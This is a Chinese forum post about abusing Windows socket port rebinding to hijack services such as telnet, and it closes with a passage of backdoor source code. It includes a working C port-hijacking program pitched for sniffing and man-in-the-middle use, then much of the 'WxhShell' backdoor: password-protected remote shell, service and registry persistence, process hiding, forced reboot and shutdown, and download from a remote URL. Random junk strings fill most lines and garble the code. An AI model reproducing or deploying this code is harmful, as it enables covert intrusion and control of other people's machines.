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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ._6e#=  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ie/dMB=t  
;]_h")4"c  
  saddr.sin_family = AF_INET; U4h5K}j4  
%(>,eee_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); z)%]# QO  
pQk@ +r  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); "ed A  
'1b4nj|<m  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 SzyaVBD3  
0lS=-am  
  这意味着什么?意味着可以进行如下的攻击: Nq#B4Zx  
]l6niYVB2  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 s/Q8(sF5  
n W:Bo#  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) )F4BVPI  
Y, {pG]B$w  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [p_<`gU?  
2 @t?@,c  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $J*lD -h-  
@gk{wh>c  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [n&SA]a  
:i* =s}cv  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;-8]  
$tDM U3,W  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 | A# \5u  
Ym 1; /'  
  #include V:2{LR<R8  
  #include 3y yVI#  
  #include &S8,-~U  
  #include    ["15~9  
  DWORD WINAPI ClientThread(LPVOID lpParam);   a6 w'.]m  
  int main() d bHxc@H  
  { L4v26*P  
  WORD wVersionRequested; J6Nhpzp  
  DWORD ret; &[_D'jm+S0  
  WSADATA wsaData; U|+ c&TY  
  BOOL val; 64t:  
  SOCKADDR_IN saddr; !&R|P|7qN}  
  SOCKADDR_IN scaddr; a=M/0N{!  
  int err; 8j}o\!H  
  SOCKET s; 4c@_u8  
  SOCKET sc; ;jFUtG  
  int caddsize; d t^Hd]+^\  
  HANDLE mt; 3Hf_!C=g  
  DWORD tid;   HEF\TH9  
  wVersionRequested = MAKEWORD( 2, 2 ); !%/(a)B$^$  
  err = WSAStartup( wVersionRequested, &wsaData ); mLDuizWI  
  if ( err != 0 ) { +f'@  
  printf("error!WSAStartup failed!\n"); ebhV;Q.  
  return -1; -AwkP  
  } SDko#  
  saddr.sin_family = AF_INET; s,H }km  
   a!\^O).pA  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (;(2n;i[M  
WMnxN34  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )3)x/WM  
  saddr.sin_port = htons(23); lFa?l\jLXZ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,e;_ Vb  
  { afd.v$63  
  printf("error!socket failed!\n"); synueg  
  return -1; qq>Qi(>  
  } p']{WLDj2  
  val = TRUE; .@ @&q4= &  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ),5A&qT*  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) a|Wrc)UR  
  { ^tI4FQ>Y  
  printf("error!setsockopt failed!\n"); x]vyt}oCmk  
  return -1; Q$A;Fk}-  
  } .7> g8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; bZu2.?{  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 tkW7wP;  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 9 !s)52qt  
.Zr3!N.t  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Ted!*HKlB  
  { 7$Lt5rn"}  
  ret=GetLastError(); #2;8/"v  
  printf("error!bind failed!\n"); &90pKs  
  return -1; E=t^I/f)E  
  } p/KG{-f,  
  listen(s,2); ]*<!|;q  
  while(1) ! l"*DR  
  { 76b2 3|  
  caddsize = sizeof(scaddr); bpdluWS+)  
  //接受连接请求 rN`-ak  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); e5m]mzF@  
  if(sc!=INVALID_SOCKET) Dw.Pv)'$  
  { \!wo<UX%  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); iw I}  
  if(mt==NULL) 3W}qNY;J  
  { JY$+<`XM  
  printf("Thread Creat Failed!\n"); Vs(D(d,  
  break; lVgin54Q  
  } UH#S |o4  
  } n_4BNOZ~  
  CloseHandle(mt); F **/T  
  } P7*?E*   
  closesocket(s); c!]yT0v&s  
  WSACleanup(); 6k;>:[p  
  return 0; '%*/iH6<U{  
  }   /~P4<1  
  DWORD WINAPI ClientThread(LPVOID lpParam) =Q4Wr0y><]  
  { f!J?n]  
  SOCKET ss = (SOCKET)lpParam; CQ'4 ".7  
  SOCKET sc; wc?YzXP+  
  unsigned char buf[4096]; 0xUn#&A~  
  SOCKADDR_IN saddr; I?CfdI  
  long num; !}=#h8fv  
  DWORD val; ,AG k4]  
  DWORD ret; T 2Gscey  
  //如果是隐藏端口应用的话,可以在此处加一些判断 pXK-,7-  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   (} Y|^uM,  
  saddr.sin_family = AF_INET;  ,<U  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); U[NQ"  
  saddr.sin_port = htons(23); _ _[bKd.  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _m3#g1m{  
  { % E 8s>D  
  printf("error!socket failed!\n"); V@\A<q%jTs  
  return -1; e%^PVi  
  } Pl&x6\zL  
  val = 100; dl+:u}9M$  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S(G&{KG  
  { As(6E}{S  
  ret = GetLastError(); G<`6S5J>hr  
  return -1; 2bxW`.fa  
  } hlFvm$P`M  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2E@g#:3  
  { ;qaNIOo9  
  ret = GetLastError(); J['i  
  return -1; \hZye20  
  } E|x t\ *  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) )No>Q :t  
  { 7|X.E  
  printf("error!socket connect failed!\n"); 4']eJ==OH  
  closesocket(sc); 7&1 dr  
  closesocket(ss); l42tTD8Awz  
  return -1; ,b74 m  
  } YeB)]$'?u`  
  while(1) /,JL \b  
  { `\Te,  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 d#:7V%]d p  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {r_x\VC=p  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :Kk+wp}f #  
  num = recv(ss,buf,4096,0); $pj;CoPm  
  if(num>0) eV(   
  send(sc,buf,num,0); 4*?i!<N9  
  else if(num==0) a4Y43n  
  break; Og2G0sWRf  
  num = recv(sc,buf,4096,0); }nMp.7b  
  if(num>0) j9*5Kj  
  send(ss,buf,num,0); ~[:Cl  
  else if(num==0) "T~A*a^  
  break; 2(25IYMS8  
  } ABU~V+'2  
  closesocket(ss); Qp~3DUM  
  closesocket(sc); B0m2SUC,H  
  return 0 ; &cT@MV5  
  } `bjPOA(g  
CB>*(Mu  
"\rR0V!wA  
========================================================== E6clVa  
_dwJ;j`2  
下边附上一个代码,,WXhSHELL 9zlhJ7i  
[cw>; \J  
========================================================== 0E/16@6=  
oe{,-<yck  
#include "stdafx.h" u9G  
(XQ:f|(  
#include <stdio.h> .CEl{fofj  
#include <string.h> T49^  
#include <windows.h> 5`{u! QE  
#include <winsock2.h> C |P(,Xp  
#include <winsvc.h> \'>d.'d  
#include <urlmon.h> ilkN3J  
^) 5*?8#  
#pragma comment (lib, "Ws2_32.lib") dd!Q[]$ }  
#pragma comment (lib, "urlmon.lib") C$^WW}S  
AO]1`b:  
#define MAX_USER   100 // 最大客户端连接数 KWH:tFL.  
#define BUF_SOCK   200 // sock buffer 8P*wt'Q$  
#define KEY_BUFF   255 // 输入 buffer TH? wXd\  
C*Wyw]:r  
#define REBOOT     0   // 重启 p~h [4hP  
#define SHUTDOWN   1   // 关机 mZ#h p}\.  
@P6*4W  
#define DEF_PORT   5000 // 监听端口 ,W5!=\Gg(  
vec4R )S  
#define REG_LEN     16   // 注册表键长度 4/ Xu,pT  
#define SVC_LEN     80   // NT服务名长度 %KW NY(m  
k;!}nQ&  
// 从dll定义API 6U%F mE@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +lw*/\7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ETrL3W<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %)P)Xb  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <L:}u!  
mEq>{l:  
// wxhshell配置信息 'rSJ9Mw"x  
struct WSCFG {    
  int ws_port;         // 监听端口 h:{^&d a  
  char ws_passstr[REG_LEN]; // 口令 e6_`  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]s}9-!{O  
  char ws_regname[REG_LEN]; // 注册表键名 K'S \$  
  char ws_svcname[REG_LEN]; // 服务名 r<EwtO+x  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :djbZ><  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -E-e!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j&"GE':Y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  ].3@ Dk  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <& iLMb:%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )* Rr5l /l  
ivJTE  
}; VMJK9|JC[  
yI.hN  
// default Wxhshell configuration Nuc2CB)J  
struct WSCFG wscfg={DEF_PORT, o~ReeZ7)Zg  
    "xuhuanlingzhe", o3a%u(   
    1, a_k~z3wG  
    "Wxhshell", -\V;Gw8mD  
    "Wxhshell", Zxn>]Z_  
            "WxhShell Service", |]tsf /SA  
    "Wrsky Windows CmdShell Service", z9ZS& =>  
    "Please Input Your Password: ", "rR$2`v"  
  1, 5~=wia  
  "http://www.wrsky.com/wxhshell.exe", gwN y]!  
  "Wxhshell.exe" X{;5jnpG  
    }; CzG/=#IU  
(]sk3 A  
// 消息定义模块 R/kfbV-b  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; AJ)N?s-=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Zr$D\(hX  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 06>+loBG  
char *msg_ws_ext="\n\rExit."; Pv Vn}i   
char *msg_ws_end="\n\rQuit."; XseP[  
char *msg_ws_boot="\n\rReboot..."; [A#>G4a<  
char *msg_ws_poff="\n\rShutdown..."; 7WEoyd  
char *msg_ws_down="\n\rSave to "; t[X,m]SX  
Sbjc8V ut  
char *msg_ws_err="\n\rErr!"; fP;2qho  
char *msg_ws_ok="\n\rOK!"; ZG1 {"J/z  
2GJp`2(%dA  
char ExeFile[MAX_PATH]; AqjEz+TVt  
int nUser = 0; s Vg89I&  
HANDLE handles[MAX_USER]; ANXN.V  
int OsIsNt; 2>Sr04Pt  
n-:n.JX  
SERVICE_STATUS       serviceStatus; mZ4I}_\,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !sav~dB)  
js)I%Z  
// 函数声明 8t1,_,2'  
int Install(void); ./Wi(p{F  
int Uninstall(void); 0m'tPFQ|  
int DownloadFile(char *sURL, SOCKET wsh); tnFhL&  
int Boot(int flag); <k 7q 9"\4  
void HideProc(void); LGPg\g`  
int GetOsVer(void); 1 eMaKT_=  
int Wxhshell(SOCKET wsl); !k=~a]  
void TalkWithClient(void *cs); -ZBSkyMGy  
int CmdShell(SOCKET sock); WZ^u%Z  
int StartFromService(void); +3k#M[Bn}  
int StartWxhshell(LPSTR lpCmdLine); wPH1g*U  
5c-'m? k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *" ,"u;&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Mx=L lC)  
:1e'22[=.  
// 数据结构和表定义 6Y/TqI[   
SERVICE_TABLE_ENTRY DispatchTable[] = }7Y @u@R  
{ Df=zrs["  
{wscfg.ws_svcname, NTServiceMain}, A3zO&4f ]  
{NULL, NULL} `sJv?  
}; n^k Uu2g|  
W0KSLxM  
// 自我安装 E?F?)!%  
int Install(void) rI4N3d;C  
{ meR5E?Fm  
  char svExeFile[MAX_PATH]; $d%NFc&  
  HKEY key; gclw>((5  
  strcpy(svExeFile,ExeFile); `zMR?F`  
3k5F$wf  
// 如果是win9x系统,修改注册表设为自启动 $/;<~Pzi  
if(!OsIsNt) { ?8R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G,A;`:/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LJ mRa  
  RegCloseKey(key); h/\/dp/tt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >y^zagC*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,v>| Ub,  
  RegCloseKey(key); H&=3rkX  
  return 0;  Dv-ubki  
    } & *!) d"  
  } 5=9gH  
} vm`\0VGSW  
else { E>w|i  
eVujur$P  
// 如果是NT以上系统,安装为系统服务 t7b\#o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a OTrng  
if (schSCManager!=0) 9$e6?<`(Y  
{ -'Y@yIb  
  SC_HANDLE schService = CreateService e*jfxQ=qG  
  ( ^%2S,3*0  
  schSCManager, L+ d4&x  
  wscfg.ws_svcname, Y<9Lqc.i  
  wscfg.ws_svcdisp, bB"q0{9G-  
  SERVICE_ALL_ACCESS, qlIbnyP<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , GXx/pBdy[4  
  SERVICE_AUTO_START, iJ 8I# j+N  
  SERVICE_ERROR_NORMAL, \[;Qqn0  
  svExeFile, ]^?V8*zL]  
  NULL, b1frAA  
  NULL, ^+q4*X6VB  
  NULL, Z<n%~z^  
  NULL, p_Y U!j_VE  
  NULL Nlfz'_0M  
  ); L'$;;eM4  
  if (schService!=0) rH5'+x K  
  { [wR x)F"  
  CloseServiceHandle(schService); _#rE6./@q  
  CloseServiceHandle(schSCManager); Y)OTvKrOA  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); LwS>jNJx  
  strcat(svExeFile,wscfg.ws_svcname); M>"J5yqR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8nOent0a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {\zB'SNq  
  RegCloseKey(key); Jb"0P`senY  
  return 0; u!K5jqP  
    } V( bU=;Qo  
  }  R7-+@  
  CloseServiceHandle(schSCManager); vqnFyd   
} tA6x  
} 0xe*\CAo  
kmfxk/F}  
return 1; 5Bog\mS  
} r-k,4Yz  
XH{P@2~l  
// 自我卸载 DqTp*hI  
int Uninstall(void) [d/uy>z,  
{ @I,:(<6  
  HKEY key; Ve\=By-a|  
1 !`B8y)  
if(!OsIsNt) { ums*EKjs97  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d ,!sZ&v  
  RegDeleteValue(key,wscfg.ws_regname); [_,Gk]F=  
  RegCloseKey(key); b\H !\A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]^ "BLbDZ@  
  RegDeleteValue(key,wscfg.ws_regname); NY!"?Zko  
  RegCloseKey(key); ,.T k "\@  
  return 0; [n{c,U F  
  } *^b<CZd9  
} ;fnE"}  
} "=ogO/_Q"  
else { li~#6$  
{ WW!P,w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3D/<R|p  
if (schSCManager!=0) FR9*WI   
{ U6Ws#e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #_}r)q  
  if (schService!=0) L:3  
  { E3<~C(APW  
  if(DeleteService(schService)!=0) { a}#Jcy!e  
  CloseServiceHandle(schService); !>Ru= $9  
  CloseServiceHandle(schSCManager); $2+(|VG4F  
  return 0; skR I \  
  } #:6gFfk0<  
  CloseServiceHandle(schService); Kx@;LRY#  
  } 1l*O;J9By  
  CloseServiceHandle(schSCManager); jVhfpS[  
} =ijVT_|u0  
} )RE~=*?d  
o(_~ st<  
return 1; zP$Ef7bB  
} ,Xt!dT-  
zBd)E21H  
// 从指定url下载文件 QN$Ac.F  
int DownloadFile(char *sURL, SOCKET wsh) o#ajBOJ  
{ `tb@x ^  
  HRESULT hr; KJ&~z? X  
char seps[]= "/"; rAZsVnk?  
char *token; cw)'vAE  
char *file; ubvXpK:.  
char myURL[MAX_PATH]; C-6m[W8S  
char myFILE[MAX_PATH]; Kc[Y .CH  
$IU|zda8  
strcpy(myURL,sURL); ;YK{[$F  
  token=strtok(myURL,seps); Sx^4Y\\  
  while(token!=NULL) d|c> Y(  
  { h-`*S&mZ  
    file=token; v%6mH6V  
  token=strtok(NULL,seps); gQ@fe3[  
  } g9$P J:  
hy?e?^  
GetCurrentDirectory(MAX_PATH,myFILE); kbF+aS  
strcat(myFILE, "\\"); NDv_@V(D  
strcat(myFILE, file); lq%6~va  
  send(wsh,myFILE,strlen(myFILE),0); gvx {;e  
send(wsh,"...",3,0); GE0,d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); etHkyF  
  if(hr==S_OK) A_vf3 *q  
return 0; NtnKS@Ht  
else r-+S^mOE]  
return 1; 9/x_p;bI  
N=X(G(  
} 7Odw{pc  
W7ffdODb  
// 系统电源模块 7<ZCeM2x  
int Boot(int flag) ;0!rq^JG  
{ {_{&t>s2  
  HANDLE hToken; KASw3!.W  
  TOKEN_PRIVILEGES tkp; PN&;3z Z  
yj+HU5L4  
  if(OsIsNt) { (GNY::3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); R#QcQx  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); WO=,NQOw  
    tkp.PrivilegeCount = 1; i[wEH1jR  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;.g <u  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); p*^[ ~}N  
if(flag==REBOOT) { F;&a=R!.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) DY~zi  
  return 0; =p lG9  
} oy) 'wb~  
else { Pd[&&!+gV  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) itg PG  
  return 0; ,Q5Z<\  
} ^:c"%<"='  
  } D`G ;kp  
  else { XtV=Gr8"  
if(flag==REBOOT) { c!{]Z_d\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) QE8aYPSFf  
  return 0; IO4 8sV }  
} < x==T4n/  
else { JTxHM?/G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;1&7v  
  return 0; Gpauy=4f  
} 5ma*&Q8+  
} A]FjV~PB  
#q5 L4uM9  
return 1; 3~%wA(|A  
} ?l3PDorR  
,X2CV INb}  
// win9x进程隐藏模块 ?_+h+{/@B  
void HideProc(void) 3]iBX`Ni  
{ !PFc)J  
 #)r  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :&/b}b!)AX  
  if ( hKernel != NULL ) UUF;Q0X  
  { iw$n*1M  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;6?VkF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \R0&*cnmo  
    FreeLibrary(hKernel); _qPd)V6yb  
  } ^j1WF[GiSO  
lR9~LNK?  
return; abVz/R/o  
} Y`x54_32  
f[b x|6  
// 获取操作系统版本 e"sz jY~V  
int GetOsVer(void) cS'|c06  
{ Yzr|Z7r q}  
  OSVERSIONINFO winfo; KH<f=?b  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b\U p(]  
  GetVersionEx(&winfo); f0^DsP  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) iYyJq;S   
  return 1; BtZycI  
  else {y[T3(tt  
  return 0; +])St3h  
} SRixT+E  
#hOAG_a,  
// 客户端句柄模块 sKkk+-J4  
int Wxhshell(SOCKET wsl) &4%j   
{ Q+O3Wgjy  
  SOCKET wsh; !H5r+%Oo|  
  struct sockaddr_in client; Y-.pslg  
  DWORD myID; A7;|~??  
FTihxC?.L  
  while(nUser<MAX_USER) Vko1{$}t  
{ YB}p`b42L  
  int nSize=sizeof(client); ]Y%?kQ^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6n 2LG  
  if(wsh==INVALID_SOCKET) return 1; !i|]OnJY  
ZS-O,[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z?vbe}pUM  
if(handles[nUser]==0) U(.3[x  
  closesocket(wsh); 0;b%@_E  
else J(\]39y  
  nUser++; m|RA@sY%`  
  } p.gaw16}>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); gX}(6RP_!  
483BrFV  
  return 0; \9*,[mvC  
} qw!_/Z3[  
7,sslf2%K  
// 关闭 socket FE)L?  
void CloseIt(SOCKET wsh) (5SN=6O  
{ G|Du/XYh  
closesocket(wsh); *o/ Q#  
nUser--; 0<{+M`G/  
ExitThread(0); ]yxRaW9f  
} a-t}L{~  
H)s$0Xd  
// 客户端请求句柄 L y!!+UM\  
void TalkWithClient(void *cs) 8H>: C (h  
{ _pX y}D  
Z|FWQ8gZ4m  
  SOCKET wsh=(SOCKET)cs; 8TK&i,  
  char pwd[SVC_LEN]; =]pcC  
  char cmd[KEY_BUFF]; Ax=k0%M[&  
char chr[1]; `dH[&=S  
int i,j; ^cE|o&Rm;  
PKT/U^2X]  
  while (nUser < MAX_USER) { (W7cQ>  
A.!V*1h{  
if(wscfg.ws_passstr) { ![wV}. }  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z;dD }Fo  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p&nIUx"  
  //ZeroMemory(pwd,KEY_BUFF); g,5r)FU`  
      i=0; q L6Rs  
  while(i<SVC_LEN) { u0;FQr2  
 xZ*.@Pkr  
  // 设置超时 7R 40t3  
  fd_set FdRead; tFvc~zz9  
  struct timeval TimeOut; Zhl}X!:c?\  
  FD_ZERO(&FdRead); / M(A kNy  
  FD_SET(wsh,&FdRead); !H`! KBW  
  TimeOut.tv_sec=8; UIUCj8QJg  
  TimeOut.tv_usec=0; rUX1Iu7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D Hkmn  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); : -@o3Syg  
^K4#_H#"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r@_`ob RW;  
  pwd=chr[0]; $J>J@4  
  if(chr[0]==0xd || chr[0]==0xa) { n\Z& sc  
  pwd=0; ]%yph3C  
  break; FbMX?T"yH  
  } dF$Fd{\4^  
  i++; $Ik\^:-  
    } /( /)nYAjk  
-q9`Btz  
  // 如果是非法用户,关闭 socket `ySmzp  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); o(,u"c/Or  
} \($EYhx  
"y_A xOH  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &;~x{q]3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o}XbFL n  
`%lgT+~T  
while(1) { \:cr2w'c  
#>m#i1Nu  
  ZeroMemory(cmd,KEY_BUFF); w<?v78sT  
Hq.ys>_  
      // 自动支持客户端 telnet标准   $7{|  
  j=0; ;><9R@0  
  while(j<KEY_BUFF) { 6Q&R,"!$p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U*G9fpVy  
  cmd[j]=chr[0]; [vuqH:Ln  
  if(chr[0]==0xa || chr[0]==0xd) { K)|#FRPM u  
  cmd[j]=0; fr~e!!$H  
  break; nRpZ;X)'.  
  } D2$"!7O1H  
  j++; ?QGAiu0  
    } \de82 4  
JzA`*X[  
  // 下载文件 xm@vx}O:  
  if(strstr(cmd,"http://")) {  fL9R{=I%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); nu {bEp  
  if(DownloadFile(cmd,wsh)) l4oI5)w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xg |_  
  else s 2t'jIB  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >b>3M'  
  } ='1J&w~7  
  else { :IFTiq5a;  
GdFTKOq  
    switch(cmd[0]) { "]}+QK_  
  -ec ~~95  
  // 帮助 Las4ux[_  
  case '?': { B;A^5~b  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ][8ZeM9&p  
    break; Xp <RG p7E  
  } eW$G1h:  
  // 安装 X4emhB  
  case 'i': { =4z:Df  
    if(Install()) _ukKzY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5b9v`6Kq  
    else }-H<wQ&x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `A5^D  
    break; V\8vJ3.YV  
    } o<f[K}t9  
  // 卸载 .YquOCc(  
  case 'r': { \>NjeMuWU  
    if(Uninstall()) j%R}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )--v> *,V  
    else ag*RQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eR.ucTji  
    break; m|<j9.iJ  
    } {s}@$rW  
  // 显示 wxhshell 所在路径 wy5vn?T@  
  case 'p': { t.m65  
    char svExeFile[MAX_PATH]; hETTD%  
    strcpy(svExeFile,"\n\r"); MR$Bl"d  
      strcat(svExeFile,ExeFile); 45l/)=@@B  
        send(wsh,svExeFile,strlen(svExeFile),0); 4C2JyP3  
    break; ^|DI9G(Bs  
    } ($^XF:#5  
  // 重启 3 }Z [d  
  case 'b': { (KaP=t}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Q7O8']~n  
    if(Boot(REBOOT))  ?C   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GH2D5HVN  
    else { ai% fj*  
    closesocket(wsh); #z{9:o7[-  
    ExitThread(0); {.tUn`j6V  
    } YC\~PVG  
    break; X$w ,zb\  
    } -:(,<Jt<  
  // 关机 :(EU\yCzK  
  case 'd': { x0wy3+GZc  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dxlaoyv:  
    if(Boot(SHUTDOWN)) E 5PefD\m  
